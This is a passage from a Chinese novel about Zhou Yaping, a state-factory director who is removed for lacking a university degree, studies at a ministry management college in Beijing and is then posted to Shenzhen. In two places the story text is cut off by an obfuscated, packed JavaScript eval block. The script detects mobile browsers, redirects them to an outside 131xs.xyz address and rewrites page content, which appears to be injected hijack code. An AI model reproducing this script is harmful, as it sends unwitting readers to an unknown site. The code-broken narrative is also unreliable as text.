“我不同意!”有一位调查组成员站起来大声说,他是一个直属厂的总工程师,“组织上派我们来是干什么的?我们的职责是什么?都忘了?我们是来评功摆好的?这个厂的领导班子当然也有不少做得不错的地方,工厂的效益也还不说得过去。但这个厂主要是在尊重知识,尊重知识分子方面存在很多薄弱环节。这几天,我与这个厂的工程技术人员打交道较多,看来大学生们意见还是不少,主要认为领导班子达不到知识化的要求。所以,我认为这个厂致命的问题是领导班子知识结构不行。你们看,厂长只是一个中专毕业生,党委书记是部队转业的,初中文化程度,管生产的副厂长是工人出身,文化程度肯定不高。改开以来,□□反复强调‘尊重知识,尊重人才’,为什么这个厂的领导班子就达不到知识化的要求呢?另外,这个厂有些做法是为了讨好群众,明目张胆地违反国家规定,如打着‘三用食堂’的幌子,擅自建造影剧院。等等。” 此言一出,会场一片寂静。 仍然是那位纪委副书记开口:“我也不完全赞成你的意见。知识化不是大学生化,难道中专生就不是知识分子?” “那要看什么年代,如果是建国初期,中专生自然是知识分子,而且是大知识分子;现在是什么年代,现如今,部直属企业中,哪还有作为处级干部的厂长,不是大学生的?”那位总工反驳。 “但我们这次调档查资料,发现部直属厂前年参加全国第一次厂长经理统一考试的7名成员,周亚平成绩是第一名,据说其他人都是大学生,这说明什么?”纪委副书记继续抗辩。 总工听到此话笑了:“这可是你自己说的,这说明除了这个厂,没有哪个厂不是大学生担任厂长。” 总工的反诘,获得众人一阵哄笑。 调研组最终交出来的调研报告是一个折衷的产物,一方面,如实地记录了周亚平主持厂务以来历年的各项指标超额完成情况,肯定了企业全面整顿各项成果,对于企业连年被评为市、省、部局先进企业和优秀企业表示赞赏。另一方面,也指出了一些存在的问题和提出了一些“希望”,特别是希望在领导班子知识化,在尊重知识、尊重知识分子方面加强努力。 调研组离开了,但调研组内部争论的一些关键问题,尤其是那位兄弟厂总工的发言,却不知何故,在器材厂不胫而走,成了热议的话题。厂内纷纷传言,调研组回去后,集团公司将很快对器材厂领导班子进行调整。 周亚平这段时间心情也很不平静,脑子里总是萦绕着那诛心之问:“现如今,哪还有作为处级干部的厂长,不是大学生的?”仿佛自己没有读大学 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周亚平自上小学开始,就一直有一个大学梦,而且坚信自己有这个能力来实现愿望。之所以未能走继续读高中、考大学的道路,不是因为学习成绩,而是由于家境困难。 周亚平的人生是不幸的,自幼父母双亡,孤苦伶仃。不满周岁,父亲在帮亲戚家驾船途中病故,三岁那年,母亲也因病去世。周亚平又是幸运的,他有一个年长十六岁的姐姐,一直陪伴他的成长。 父母去世后,由于当时姐姐还在学校学习,无法照料,就把周亚平送到姨妈家寄养。几年后,姐姐考取了公务员,又结了婚。就把弟弟接到身边,安排在省城的小学读书。 姐姐、姐夫工作太忙,无法全天候地照顾弟弟,为此,有段时间,把周亚平送到姐夫的老家,交给姐夫的父母照看。姐夫的父母,只有姐夫这个独子,同样把周亚平视作掌上明珠,当成亲儿子一般。因此,周亚平这个孤儿,童年时代是在并不缺少爱的环境里成长起来的。 后来姐姐、姐夫响应国家“大办钢铁”的号召,被调到湘中地区的一个大型钢铁企业工作。为了一家团聚,把老家的父母亲和弟弟周亚平一起接到钢城生活。 也是在这里的子弟学校,周亚平完成了初中学业。 当时初中毕业,周亚平的成绩在班上排在前列,他曾和几位成绩较好的同学专门考察过当地最好的市二中、县一中,对于报考高中跃跃欲试。 但后来有一次学校教导主任找到周亚平,一席话改变了周亚平的人生之路。 这位姓张的教导主任是周亚平胞姐曾经的同事,他神神秘秘地对周亚平说:“亚平,我们学校刚接到一家新的中专学校的报考通知,这是一家半机密半军事化学校,这个信息没有公开,属于内部掌握。我想帮你修改志愿,把这家学校填写为第一志愿。我知道你姐姐家并不宽裕,如果你能考上这家学校就太好了,专业好,发展前景广阔,关键是毕业后马上就由国家统一分配工作。那你不但不需要家里负担,反而可以帮助家庭,这不是很好的事吗。” 这席话让周亚平思绪万千。姐姐、姐夫抚养自己到初中毕业,确实不易。姐姐有家公家婆,还有三个子女,连周亚平全家8口人,全靠姐姐、姐夫两个人赚钱养家糊口,家庭确实不富裕。周亚平想,如果自己去读高中,再等到大学毕业,还要整整7年,这些费用,又要拖累家庭。虽然姐姐、姐夫及姐夫的父母全家人都对自己很好,即使考上高中他们同样会很高兴,但自己不能太自私,要替家庭考虑了。如果去上中专,4年毕业以后,就可以马上参加工作,拿到工资帮助姐姐一家。 周亚平默认了张主任的志愿修改。其实,那个所谓的“半机密半军事化学校”不过是一家邮电学校,由于当时战备工作紧张,邮电部门属于军管,故此搞得十分神秘。 后来的事就顺理成章了,周亚平考取了邮电学校,中专毕业后,分到工厂工作。 假设命运女神不是这样安排,周亚平自信自己照样可以读高中,上大学。 想到这些,周亚平有了一个强烈的愿望,尽快离职去报考成人大学,重温自己的大学梦。 周亚平本想趁集团公司对工厂领导班子调整之机,离开现在的岗位,实现重进校园的理想,但不知何故,调研组回去又是两、三个月了,总部那边还没有动静。 思忖再三,周亚平决定直接向集团公司递交辞职报告。 辞职函中重点写了这么一段:“调研组走后,我们厂一直在流传这一经典言论:‘现如今,哪有厂长不是大学生?’从我本心来说,我并不认为不是大学生就绝对不能当厂长,但领导班子知识化确实是不可阻挡的历史潮流,部属大中型企业厂长没有大学文凭确实已不够资格。鉴于此,我强烈要求辞去现在的职务,卸任后,我将报考成人大学,继续深造,以便将来更好地为国家服务,为人民服务。” 辞呈递交后不多久,集团干部处吴处长给周亚平打来电话,中心意思是劝导他不要轻易辞职,经过调研,集团公司领导是相信你的,你也要相信组织,相信群众。 电话里,周亚平仍然表示了离职的强烈愿望,最后,他几乎用恳求的口吻对吴处长说:“长期以来,我一直默默地工作在第一线,没有什么继续学习、深造的机会。我希望组织上这次无论如何给我一个报考成人大学的机会。这是我唯一的请求,难道这一点小小的请求,都无法满足?” 这次电话以后,出现了转机,当年年底,集团总部一位副总裁和吴处长来到器材厂,与领导班子一一交谈后,在全厂大会上宣布了领导班子调整名单。 在一系列的任免名单中,最引人注目的是厂长职务的变动。 当宣布周亚平被免去厂长职务,借调到集团总部工作时,会场一片躁动。任免名单宣布完毕后,照例是由离任厂长周亚平及接任厂长冯庭怡讲话。 听完任免后,周亚平觉得非常轻松,心中暗暗地感谢集团领导的细心与关心。他知道,在免去厂长职务后,增加一项借调到总部工作,这是一个特意的安排。这样做,一是可以减免掳去职务的冲击力,给人只是工作变动的假象,二是给自己报考成人大学创造机会。 在离职感言中,周亚平主要讲了三点,首先,认为自己在职时是努力工作的,是千方百计想要企业振兴、职工获利的,故此无怨无悔。其次是,工作中不可能没有错误,没有失当,本人愿意承担这些错误的一切责任。另外,有些事,不一定是错的,但仍然引起一些人的不满,这也没有办法,“岂能尽如人意,但求无愧我心。”第三,今后将继续深入学习,不断提高,更好地为人民服务。 基层企业的领导班子更换是一件大事,往往酿成风波。器材厂这一段时间也不得消停。群众的议论中,有愤愤不平的,有悲叹惋惜的,有鸣冤叫屈的,有指桑骂槐的。大多数职工不知内情,都替周亚平抱打不平,认为这样的厂长平白无故被免去职务,实在有些冤枉。 17. 十七 “无官一身轻”,卸任后的周亚平体会到了这句话的真谛。再没有纷纷扰扰的杂务缠身,再没有千头万绪的人事烦恼。 准备去北京前的这几天,周亚平一觉睡到自然醒,从从容容吃过早餐,悠闲地到小镇上逛一圈,顺便把中、晚餐的菜料带回家中。下午,午觉醒后,搬条椅子坐到庭院的树荫下,翻开一本心仪的书,有滋有味地往下读,那种惬意,那种舒坦,怎么说都不过分。 周亚平正式出发那天,还是有不少人前来送行,但也有几个过去跟得很紧的中层干部却不见踪影,很明显是有意切割,以免新厂长在意。这不禁让周亚平有“人情冷暖,世态炎凉”的唏嘘。 去北京照例是坐老式的绿皮火车,这种列车需整整一天一夜才能抵达。坐在卧铺车厢里,周亚平抽出一张报纸,慢慢看了起来。 列车已经进入河南地段。周亚平经常到北方出差,基本形成套路,到了此地,在经停的某个车站买只烧鸡,两瓶啤酒,边啃烧鸡边喝酒,一直到达目的地。这次进京也不例外,靠这两样东西,熬过漫漫的长夜。 次日,列车到达北京站,集团公司派来的接站人员把周亚平接上车后,直接送到离总部不远的招待所。 第二天,周亚平吃过早饭,步行走进集团公司总部大楼。 这时的集团公司,还未搬家,仍在部机关一栋独立的大楼里办公。 先见过集团公司蔡总和彭副总,寒暄几句后,两位领导让他先到干部处报到。 在干部处,吴处长告诉周亚平,准备暂时安排他到党组办公室工作,并征求他的意见。周亚平在企业一直干的都是行政管理工作,不知何故,这次竟然安排他到党组办公室工作。虽然心有一丝不情愿,但他深知这次借调只是一次过渡,干什么工作并不重要,因而微笑着表示无异议。 吴处长把周亚平带到集团党组办公室,准备给党组办李主任作介绍:“这是……”。 李援朝笑嘻嘻地抢先说:“这是周亚平,原来是器材厂的厂长。” “哦!你们认识?” “我们早就认识了,还一起上过一期短训班。”老李很爽朗地回答。 “是的,李处长也到过我们厂视察工作。”周亚平补充。 “什么‘视察’,那是为建立‘思想政治工作研究会’去的。” 吴处长郑重地叮嘱李援朝:“领导决定,老周就分到你们办公室工作,人交给你了,由你具体安排工作。这个同志新来乍到,各方面你们都要多关心一点。” 转头又对周亚平说:“老周,今后都是同事了,有什么需要的,尽管向老李提,也可以直接找我。没什么事的话,我就先回去了。” “您回吧,没什么事。” 吴处长走后,李援朝领着周亚平来到一张办公桌旁,说:“你今后就在这里办公吧,除了桌上、抽屉里已有的办公用具,还需要哪些,可以去总务处申领。” 两人坐下来后,李援朝将党组办的工作职责、业务范围、具体分工及每个成员的姓名职别等向周亚平做了详细介绍。 到了北京的总部机关,听了详细介绍,周亚平才真正理解什么是官场。包括周亚平,党组办总共9个人,但处级级别的干部就有6人,其中,正处级有4人,副处级2人。这还只是一个机关里一个小小的部门,如果把整个北京大大小小的各个衙门算一遍,还真不知有多少官员。难怪有人编段子调侃,说在北京王府井大街上随便扔个塑料瓶,砸中的十有八九不是科长就是处长。 “亚平,今天你算是已经报到了,听说总务处已经给你安排了住处。下面的时间你先去整理宿舍,置办必需的生活用品,先安顿下来,明天才正式上班吧。”李援朝交待周亚平。 总部分给周亚平居住的宿舍还不错,在一栋六层楼内,是个一房一厅的套间,地点在永康胡同附近,据说这儿离原清朝最后一个大太监小德张的大宅院不远。附近生活设施齐全,交通也很方便。从这里,周亚平开始了自己在北京的新生活之旅。 作为一个典型的南方人,北方生活给周亚平带来的不便主要有两方面,一是饮食方面,不习惯吃面食,每餐非得吃米饭。这还好办,当时部机关食堂的主食餐卷里分米饭和面点,可以用面点票去和同事换米饭票。二是气候方面,不适应寒冷干燥的气候。特别令人尴尬的是,经常由于干燥造成的手上静电,在开门开窗时被金属的门把、窗门拉手打得哇哇直叫。甚至有时和人握手,也遭静电打击。连遭多次电击后,周亚平终于学乖了,每次开门开窗时,先将手在墙壁上反复触碰,让静电跑掉,另外尽量不与人握手,实在躲不掉,就必须在握手前,悄悄地将右手在口袋里摸一摸钥匙串。 周亚平到集团公司后的临时安排是负责“思想政治工作研究会”的日常事务,还挂了个副会长的职务。机关的工作相对比较清闲,每天无非是圈阅一些文件或起草一些文件,往基层单位打打电话或接听电话,再就是无休无止的各种会议。 毕竟是机关,不像企业,办公室里看报纸、杂志那是常事,但却绝无聊八卦、传小道消息等基层企业司空见惯的场景。 到北京后,周亚平就一直关注成人高考的消息,干部处給他提供的消息是部管理干部学院“企业管理”专业今年继续招生,建议他去报考。思索过后,周亚平把部管理干部学院当成了今年高考的目标。 每天一下班,周亚平就把自己关在屋子里,按计划分头复习各门功课。离开学校,丢下课本已经二十多年了,现在乍一接触,还是很有陌生感。 考试科目共5门,周亚平按每天一门从周一排到周五,星期六和星期日综合复习。由于上下班需转几路车,颇费时间,因此,周亚平也不敢复习到太晚,一般都不超过11时。除掉上下班路上耽搁的时间,再加上吃饭、休息,留给周亚平真正的复习时间其实不多。眼见考试日期将近,周亚平有点着急。 周亚平心想,既然同事们上班时可以看报纸、杂志,我能不能把高考资料带到办公室,有空就翻阅复习呢?他把这个想法告知李主任,征求他的意见。 李援朝爽快地答应:“亚平,这有什么问题,你早就应该这么办。” 领导开了绿灯,周亚平彻底放心,在办公室里,只要有闲暇,他就争分抢秒地抓紧读课本、做练习。同事们都知道周亚平参加成人高考的特殊使命,心照不宣地尽量不去打扰他。 终于迎来了考试周。北京的夏日,骄阳似火,顶着高温,周亚平走进考场。上午下午分别考一门,三天下来,考生均感到身心俱疲。 最后一门考试结束后,周亚平如释重负,晚餐时罕见地在胡同小餐馆里点了三个菜,其中两个硬菜,还点了一大扎生啤,算是犒劳自己。 听说周亚平成人高考结束,在部人事局工作的老同学、老同乡杜佑才找到周亚平:“亚平,星期天去我家,我们兄弟一起喝喝酒庆祝庆祝。” 周亚平毫不客气:“没问题,周日中午吧,晚上还有同事请客。” 星期天,在老杜家喝的是白酒,正宗的牛栏山二锅头,二两装小瓶,每人喝了整整三瓶,两人都有了些醉意。 “亚平,这次考得怎么样?” “我看还行,自我感觉良好!” “还是报考部管理干部学院?” “是的,领导和同事都要我去考这所学校,说是部门对口,专业对口,毕业后便于重新安排工作。” “我要是你,就换一个学校。我们的部管理干部学校是个新学校,教职员工都是临时拼凑的班子,能学到什么东西?听说北京大学今年也招成人班,为什么不去报考那里呢?北大的师资、教学质量还用怀疑吗。” 说实话,周亚平何尝没想过报考北京大学企业管理成人班,除了杜佑才说的这些理由,另从虚荣心出发,无论如何,从北大毕业与从部管理干部学院毕业都不是一个档次。但自己深知这次重读是组织给自己的一个机会,人要知趣,不能一味考虑自我。 看到周亚平沉思不语,杜佑才进一步劝说:“我知道,你担心自己选择学校会惹上级领导不高兴,其实不会。领导、同事们只是觉得你既然在部属企业工作,就应该在部属学校深造,毕业后继续为集团公司服务。如果你去其它学校学习,但仍然回集团公司服务,他们不会见怪的。” 对呀!在哪里读书并不重要,重要的是读完书后回哪里工作,如果我能向总部保证不管在哪所学校学习,毕业后都将回集团公司效力,这不就行了吗?周亚平暗想。 从老杜家喝酒回来,周亚平坚定了修改报考志愿的决心。按照当时的规定,成人高考分数公布后,在同一类型内,可以修改志愿。 终于等到了成人高考成绩开榜。 首先拿到成绩通知书的是干部处的小孙,他嬉笑着一个箭步跨到周亚平面前:“老周,大喜事,该你请吃饭!” “毛毛躁躁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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当天下班后,周亚平整理好桌面,准备离开办公室。 “亚平!等一会,我们一起走。”李援朝叫住他。 稍后,两人一同离开办公室。 “一直想请你吃个便饭,但我老婆近段时间都不在北京,我也是一直吃食堂。今晚,我在‘东来顺’订了位,我们去吃正宗的北京涮羊肉。”李援朝边走边说。 “怎么好让你破费?一直蒙你关照,应该是我请你才对。”周亚平停下脚步。 老李一把拉住他,说:“跟我还客气什么?我记得上次在短训班,你还请我吃过湘菜。” 周亚平也记起来了:“是有这么回事,当时征求你意见,能不能吃辣,你说没有问题。结果见你大口大口吃辣椒炒肉,我还在好奇,北方人怎么这么能吃辣?” 炭火涮锅端上来了,切好的羊肉也一盘盘摆上了桌,两人各自挑好调料,正式开吃。 不知是名气所致造成的心理作用还是此处确实比其它地方有高明之处,周亚平感到吃到嘴里的羊肉格外香嫩爽口,比以前吃过的都强。 “亚平,关于报考学校的事定下来没有?”李援朝问。 “还没呢,不是等你去探探领导们到底什么意见吗?” “来,喝酒!”李援朝端起啤酒杯,咕噜、咕噜一口气喝完,“亚平,我想了半天,觉得你还是不要换学校了。” 周亚平停住筷子,静静地望着李援朝。 李援朝也放下筷子,说:“首先声明,这不是领导意见,也不是组织安排,纯属我个人,以你哥们的身份,发表的一点意见。最后的决策,由你自己做出。” 稍停,继续说:“部管理干部学院的专业设置、课程安排,毕竟是根据部属企业的性质和特点来制订的,这更能体现学以致用的原则。你学成毕业,回集团公司后,也便于组织重新安排工作。如果你报考其它学校,了解你的知道你跳出圈子是希望多学习一些知识,不了解你的还以为你好高骛远,有不良居心,这又何必呢。” 周亚平心里清楚,李援朝说的“个人意见”,其实并不简单是他本人的态度。但李主任的话句句在理,也是真心为自己好。既然话都说到这个份上了,自己还有什么好纠结的呢?哎,管它什么“北大”、“清华”,还是老老实实按照领导意见,去报考属于自己的学校吧,正如李援朝说的,何必去折腾。 从“东来顺”回去后,周亚平没有了纠结,轻松了很多。一门心思等待管理干部学院的录取通知书。 没过多久,部管理干部学院的入学通知寄来了,尽管没有什么惊喜,但周亚平还是很开心,因为,终于可以圆自己的大学梦了。 周亚平事后才知道,管理干部学院的录取分数线是总分250分,这么低的录取分数线,让周亚平大吃一惊。 18. 十八 部管理干部学院位于古都北郊一个温泉小镇。这里远离喧嚣的城市,临近层峦叠嶂的燕山山脉,风景秀丽,环境优美,确实是一个静心向学的好地方。 据说原来这里只是一个普通干校,长年开办短训班,分综合班及专业班,为部门培训各级领导干部。可能也是为了配合领导班子知识化的要求,提高在职年轻干部的学历层次,故通过国家教育部门,改为正规的成人教育高等院校。 周亚平坐车来到学校,远处眺望,只见一片赭红色的围墙和高大的校门,两旁是北方常见的参天白杨,笔直的干,笔直的枝,给人一种奋发向上的启示。 学校里,入学学生陆续到齐,报到处所在的院落里,全国各地的口音夹杂着兴奋的欢声笑语此起彼伏,分外热闹。 报到登记时,教导处的工作人员看到周亚平的名字,意味深长地打量了一下他,说:“你就是周同学?不错呀,你是我校这一届考生中总分第一名。” 周亚平不在意地笑笑:“没什么,可能是这次的考试题目不太难。” “不是题目不难,而是你基础打得很扎实。”人群中走出一个戴眼镜的中年老师,顺着周亚平的话语搭腔。 那位教导处的工作人员一见,赶忙站起身:“陆院长,您怎么也来了?” “小刘,给你介绍一下,这位‘周同学’,原来是我们部属器材厂的厂长,在系统内,也是一名人物。” 周亚平刚开始还有点不知所措,仔细看来人,原来是京城部属工厂的陆厂长,赶忙问道:“陆厂长,你什么时候调到管院当院长了?” “亚平,是副院长,副院长。去年才调来的。” 周亚平调侃说:“行啊,今后我是你的学生了,院长大人多多栽培。” “你还要我们栽培?你不带领学生‘栽培’我们,就万幸了。” 戏谑声中周亚平完成了报到手续。 平静的学习生活从此开始。在企业摸爬滚打20年的周亚平,重新回到学校,感到一切是那样的陌生而又是那样的熟悉。 周亚平所在的“企业管理”专业二班,三十几名同学来自全国十几个省市自治区,不同的地方语音,不同的性别年龄,不同的脾□□好,却毫不妨碍大家互相关爱,和睦相处。 进校后,周亚平除了必须完成的学习任务,还有一些社会工作的兼职,担任学校学生会的主席和企管二班的班长。尽管如此,周亚平并未感到吃力,反而觉得校园生活比较轻松、愉快。 班上同学中,大多是二十几岁的年轻人。像周亚平这样,三十多岁的只有几个,这几个老大哥毕竟经过岁月的磨练,相对成熟一些,他们之间交往较多,说话聊天也比较投缘。 这其中,有两位老大哥特别有意思,在一起经常抬杠斗嘴,给平淡的校园生活带来些许乐趣。一位也姓周,叫周昕,冀北人;另一位姓许,叫许兆谦,豫南人。周昕耿直爽快,诙谐幽默;兆谦憨厚老实,细致谨慎。周昕爱说俏皮话,有时候说出一段话,他自己一本正经,毫无笑容,旁人却笑得前仰后合。此时,只有许兆谦,出于善意的本分,并没有听懂那段话里讽刺挖苦的寓意,反而东张西望,不知大家为何哄笑。 两人在一起时,经常掐架。 业余时间,学校的文娱体育活动也很丰富。两人也都是文体活动的热心参与者。这天,学校组织的文艺宣传队正在组织排练,准备参加全市成人高校的文艺汇演。 周亚平和他们两位都是乐队成员,周亚平与周昕都拉二胡,许兆谦拉手风琴。中间休息时,许兆谦深感遗憾地说:“哎,可惜咱们学校没有钢琴,要不让我来弹钢琴,会显得更加高大上。” 周昕毫不客气地说:“算了吧,你那破手风琴都拉不好,还弹钢琴?” 许兆谦不干了,马上回怼:“你那二胡也不咋的,有时音都拉不准,起码我不会。” “你不会不是你的本事,是手风琴自己的音准……” 见到两人又杠上了,周亚平赶紧打圆场:“算了,算了,大家都是业余水平,半斤八两,不要相互吐槽了。” 周亚平自幼爱好摆弄各种乐器,西乐有大提琴、小提琴和铜管乐,民乐有二胡、笛子之类。他深知台上一分钟,台下十年功的道理,学好一门尚且不易,何况学这么多门。因此,他有自知之明,所玩的每种乐器都是半桶水。此时他劝解两人的话确是肺腑之言。 周、许二人别看表面上势同水火,实际上却是很好的兄弟。每次班上篮球队与其他班交锋,许兆谦都会赶到球场边,为场上的周昕呐喊助威。学校举办的辩论赛,许兆谦不遗余力,力推周昕为班上的主辩手去参加。反过来,周昕也在各种场所暗暗地帮助这位貌似木讷的兄弟。有一次,许兆谦患了急病,周昕又是呼叫救护车,又是和大家一起送医院,忙个不亦乐乎。 除了这几个老大哥,班上的小弟们就更调皮了,他们知道周亚平带薪学习,以为他当过厂长,肯定很有钱,成心敲他的竹杠。节假日,只要一上街,必有一帮同学叫嚷着“班长请客”,然后涌进一家小餐馆搓一顿。 周亚平的妻子沈珍钰知道京城物价贵,所以每个月把周亚平的工资悉数寄给他用,留下自己的工资作为家庭的生活费用。 尽管如此,由于那时的工资都很低,特别是像周亚平这样的年轻干部,提职不提薪,月工资才96元,即使老婆把全部工资给了他,周亚平在学校里仍然是捉襟见肘,经常入不敷出。 有好几次,周亚平与同学们进了饭店,结果一摸口袋,钞票不够,只好由大家凑钱,你一元我一元的,好不容易凑足买单的钱。 在管理干部学院读书期间,虽然周亚平住在学校,但总部分配的永康胡同的宿舍仍然没退,这可成了同学们的招待所了。谁家有亲戚朋友到了北京,只要跟周亚平说一声,马上就可以拿到钥匙,直接入住。因此,这套宿舍,常年宾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479017|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客不断,最邪乎的是,有一次,两间房里,连床铺带地铺一共睡了9个人。 周亚平以往有记笔记的习惯,在企业时,如果某天工作中发生较大的事项,他必定会以文字的形式记录下来,留着日后回忆和总结。但进了管理干部学院后,由于学习生活非常平静而有规律,每天的路径是宿舍、教室、食堂三点一线,每天的任务是上课、自习、做作业,日复一日,年复一年,因此实在没有什么可以记录的东西。久而久之,周亚平把这种文字记录生活的习惯也给丢掉了。 当然,学校偶尔也会有一些较大的课外活动,比如组织到野三坡郊游,举办校际篮球赛及文艺汇演等等,但周亚平仍未动过笔。因而,这一段经历,在他的人生旅途中,竟没有留下文字记录。 按部就班的大专学习生活过得很快,两年时间眼看将要结束,此时京城发生了一场风波打破了校园的平静。 就在周亚平他们在学校过着波澜不惊生活的同时,中国的改革开放正在全国如火如荼地进行。这场决定中国前途命运的伟大革命,焕发了中国特色社会主义的生机和活力,改变了国家和人民的面貌,提高了广大人民群众的生活水平。但改开初期,由于是“摸着石头过河”,一段时间的负面效应也随之而来,诸如物价上涨,社会风气变坏,治安情况不良等等。由于新的观念,新的制度,新的模式来得太猛太快,故而新旧两种观念、制度和模式的碰撞也格外激烈。 当然,这期间也不乏有一些人利用了改革开放过程中的不完善。 如,当时在社会主义市场经济逐步取代计划经济时,一段时间曾经出现过价格双轨制,即一种商品,既有国家规定的计划价格,也有市场决定的随行就市价格,而且计划价格大大低于市场价格。这就给那些不法之徒大开方便之门。这些家伙 通过既得利益的渠道,用较低的计划价格购进商品,然后以较高的市场价格卖出商品,一进一出,毫不费劲赚得盆满钵满。 老百姓称此现象为“官倒”,即指利用权力进行的投机倒把行为。像这样的腐败现象引起了人民群众的极大不满,那场风波因此而生。 事件发生后不久,管理干部学院企业管理二班开始了毕业考试,大家的注意力又集中到紧张的复习、应考当中。 当月,周亚平顺理成章地拿到了自己的大专文凭。 毕业了,离别时分同学们依依不舍。两年质朴、单纯的学生生活,同学之间那种毫不势利,毫无利益交换的同窗情谊,使大家分别时格外动情,有的女同学和年纪较小的男同学眼眶里都泛起了泪花。 “班长,毕业后是不是和我们一样先回家休息一段时间?”同学中有人问周亚平。 “回家看看是可以的,但休息一段时间可能不行,拿了国家的工资上了两年学,再不赶快回去工作以作弥补,实在说不过去了。” “山高水长,天涯不远,来日再见!”同学们互相道别。 19. 十九 从学校出来,把行李往永康胡同宿舍一丢,周亚平就迫不及待地来到集团公司总部。 和同事们寒暄一番后,周亚平直接走进总裁办公室。 “哦,小周回来了,听干部处说你已经毕业了,是吗?”总裁蔡斌泉笑着问。 “是的,蔡总。我今天来就是请示领导,毕业后的工作安排。说实话,学习回来,很期望能大干一场。” “坐下来谈,坐下来谈!” 见周亚平一直站着说话,蔡斌泉示意他坐下来。 “我们现在也很需要像你这样的年轻干部。” 蔡斌泉一边说,一边倒了杯开水递给周亚平,“这两年,企业发展很快,干部队伍跟不上呀。对于工作,你个人有什么要求?” “听从组织安排。”周亚平毫不犹豫地回答。 “好!那就好。” 蔡斌泉表示满意,“关于你的工作安排问题,局党组还没有完全确定,但有一个方向,这就是到南方电话设备厂去当厂长。小周,南方厂可是我们集团的重点呀,我们国家的第一套万门程控交换机就将在那里诞生。在那里你是大有可为的,你可以考虑考虑再给我们答复。” 离开蔡总办公室后,周亚平又来到副总彭旭辉办公室。周亚平在器材厂当厂长时,彭总曾多次到过工厂,故而两人更加熟络一些,因而一进门,周亚平就开门见山地说:“彭总,我的学习任务完成了,刚从蔡总那儿出来,向您也报个到。” 彭总把手上的文件放下,热情地招呼:“嗬,是亚平啊,快坐快坐!” 随意聊了几句后,彭旭辉问周亚平:“亚平,关于你以后的工作安排,蔡总跟你说了什么没有?” “他说党组还没有最后确定,但好像南方电话设备厂需要人,让我可以考虑考虑。” “哎!这个老蔡……”彭旭辉情不自禁地脱口而出,但马上意识到自己不宜在下属面前暴露领导之间的分歧,赶快和周亚平聊起其它话题。 关于南方电话设备厂的领导班子,还是有些说道。彭旭辉是分管干部工作的,这里的领导班子特别是厂长人选是他考察确定的。今年以来,这个厂的职工群众对厂长的许多做法严重不满,甚至闹到召开职工代表大会,要罢免现任厂长。 为此事,两位局领导持截然不同的观点。蔡总认为,作为工厂行政的一把手,却招到了这么多职工群众的反对,以至于召开职代会讨论罢免事项,已经够丢人了,必须尽快撤换。而彭旭辉觉得,南方厂的问题,主要是由于工厂一系列改革措施触犯了部分职工的利益,从而引起一系列的事件发生,厂长本人并没有什么大的政治问题和经济问题,还算是一个积极工作,忠于职守的干部。如果此时马上撤换,必将使南方厂的改革夭折,让很多人寒心。正因为如此,彭旭辉听说蔡有意把周亚平派去南方厂当厂长,一股火腾地冒了上来。但又不便明说,因此,与周亚平七七八八地聊了一会,就让他先回去休息,明天再来,听候组织安排。 回到宿舍后,回想起和两个局长的谈话,周亚平仿佛嗅到了一丝不和谐的味道。 他知道,南方电话设备厂是集团中最大的一家企业,由原来的三个部属工厂合并而成,共计三千多名职工。这个厂占地面积很大,厂房宽敞漂亮,设备精良,产品先进,代表了当时我国通讯设备企业最高的技术水平。蔡总想让自己去那里担任领导职务,显然是组织上对自己的信任和重视。但看来彭总并不认同蔡总的提议,这是为什么? 实际上,周亚平对于去南方厂工作也是很犹豫的,主要是对以往器材厂的厂长生涯还心有余悸。回想当年的坎坷历程,深知在国营企业当厂长的不易。改革开放虽然在社会上已经深入发展,各条战线都取得辉煌成就,但在国有企业内部却没有带来多大的变化。体制上的痼疾,体现在人事制度上,劳动报酬制度上,奖励处罚制度上,仍然与市场经济严重脱节。当厂长的很难施展身手,那种上下掣肘,动辄遭人诬告,费力不讨好的味道真是说不出的难受。尽管离自己当厂长已过去两年多,但估计现在的南方厂的情况也好不到哪里去。 第二天,周亚平再次来到集团公司,在干部处等待老总召唤。 这次是两位老总一起在小会议室接见周亚平。 “小周,昨天跟你说的,你考虑得怎么样了?”蔡总一见面就问周亚平。 迟疑了一下,周亚平说:“领导准备安排我担任这么重要的职务,从心里说,十分感激领导的信任和重视。按理说,我只有服从的义务,没有讨价还价的权利。但我还是想问一句,还有没有其它的岗位,哪怕是普通的职位,只要能发挥所学之长,我也心甘情愿。” “倒还真有一个完全陌生的崭新领域需要人。”彭旭辉接过话题,面向蔡斌泉说,“蔡总,还记得吧,前几天,岳部长找我们去他办公室,交待了一件事。有个美籍华人邓先生特意到京城来见他,称在深圳开办了一家生产通讯产品的企业,想与我们部合作再成立一家合资企业,希望前期由我们派一名干部去,先期参与他本人的独资企业的经营管理,然后筹办与我们的中外合资企业。” “对,有这么回事。那个邓先生原来是台湾的企业家,他号称当年在台湾的企业一年生产电话机6百万台,被欧美业内人士称为‘电话机大王’。这也太厉害了,要知道,现在我国大陆一年的电话机产量全部加在一起可能也到不了这个数。” “不管他是真的还是吹的,反正部长指示我们派人,我们派人就对了。蔡总,我觉得亚平刚从管理干部学院毕业,接受了一些新的思想观念,也学到了一些适应改革的管理知识。派他到改革开放的前沿阵地深圳去,我认为比较合适。” 蔡斌泉没有马上表态。 周亚平却兴奋起来:“我愿意接受新的挑战,一定不辜负组织的期望。” “只是,只是……”蔡斌泉有点左右为难,“南方厂怎么办?小周也是很合适的。” “事急从权,蔡总,部长安排的任务,如不尽快完成,恐怕不好交待。”彭旭辉提醒蔡斌泉。 蔡斌泉最终下定决心:“好吧,就把周亚平派到深圳去吧!” 周亚平接受这项任务后,尽管依稀感到前途未卜,但不知为何,却仍然非常开心,对新生活的憧憬和对新挑战的渴望给他注入了满腔的热情。 往南方前行的途中,周亚平回了趟家。 